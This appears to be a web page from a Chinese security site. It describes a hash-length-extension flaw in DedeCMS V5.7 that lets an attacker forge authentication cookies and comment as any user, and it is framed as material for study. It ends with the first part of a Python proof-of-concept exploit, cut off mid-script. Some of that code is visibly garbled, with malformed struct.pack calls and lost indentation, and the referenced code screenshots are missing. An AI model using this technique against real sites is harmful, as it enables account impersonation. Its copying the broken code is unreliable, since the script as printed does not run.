欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

记DedeCMS一处由哈希长度拓展攻击引起的越权漏洞

来源:本站整理 作者:佚名 时间:2018-07-25 TAG: 我要投稿

漏洞影响:Dedecms(织梦CMS) V5.7.72 正式版20180109 (最新版)
 
漏洞原理
DedeCMS用户认证是通过验证Cookie中的 DedeUserID和DedeUserID__ckMd5进行的,具体如下:

其中$cfg_cookie_encode是安装时生成的不可预测字符串。
其中md5($cfg_cookie_encode.$_COOKIE[$key])符合md5(salt + padding + data)的格式,易受哈希长度拓展攻击,只要我们知道了md5($cfg_cookie_encode)和$cfg_cookie_encode的长度即可伪造cookie。
从安装时的逻辑中我们可以知道$cfg_cookie_encode的长度为28~32

找到memberarticle_add.php

25行检测dopost是否为空,46行导入模板文件
找到membertempletsarticle_add.htm

74行调用PrintAutoFieldsAdd(),跟进去

238行输出$dede_addonfields
239行输出md5($dede_addonfields.$cfg_cookie_encode)
浏览器中直接访问,可知在默认情况下$dede_addonfields为空值

因此表单dede_fieldshash的值就是md5($cfg_cookie_encode)
找到MemberLogin类,M_ID 在从cookie中获取时会调用GetNum()进行处理

跟进去

这样处理一下就会消除哈希长度扩展攻击引入的空字符等特殊字符的影响
但是在全局文件config.php中会对输入调用XSSClean()对$_COOKIE进行过滤

从24行可知,空字符会被替换为空导致漏洞不能利用。
又研究了一下发现plus下的文件都是直接包含common.inc.php而不是config.php
因此可以利用此目录下的文件进行哈希长度拓展攻击!
例如,plusfeedback_ajax.php 用于文章评论,因此这里可以利用哈希长度拓展攻击伪造任意用户身份实现越权评论文章!


 
参考链接:https://blog.csdn.net/qq_35078631/Article/details/70941204
 
POC
import sys
import hashlib
import urllib
#此POC只需修改以下两个参数
userid = '1' #此变量就是要伪造的用户id
dede_fieldshash = '8b5d1a6dd0899aff8658b667a0923765' #该值从article_add.php的源码中获取
def genMsgLengthDescriptor(msg_bitsLenth):
return __import__("struct").pack(">Q",msg_bitsLenth).encode("hex")
def reverse_hex_8bytes(hex_str):
hex_str = "%016x"%int(hex_str,16)
assert len(hex_str)==16
return __import__("struct").pack(",int(hex_str,16)).encode("hex")
def reverse_hex_4bytes(hex_str):
hex_str = "%08x"%int(hex_str,16)
assert len(hex_str)==8
return __import__("struct").pack(",int(hex_str,16)).encode("hex")
def deal_rawInputMsg(input_msg):
ascii_list = [x.encode("hex") for x in input_msg]
length_msg_bytes = len(ascii_list)
length_msg_bits = len(ascii_list)*8
ascii_list.append('80')
while (len(ascii_list)*8+64)%512 != 0:
ascii_list.append('00')
ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
return "".join(ascii_list)
def getM16(hex_str,operatingBlockNum):
M = [int(reverse_hex_4bytes(hex_str[i:(i+8)]),16) for i in xrange(128*(operatingBlockNum-1),128*operatingBlockNum,8)]
return M
def T(i):
result = (int(4294967296*abs(__import__("math").sin(i))))&0xffffffff
return result
F = lambda x,y,z:((x&y)|((~x)&z))

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载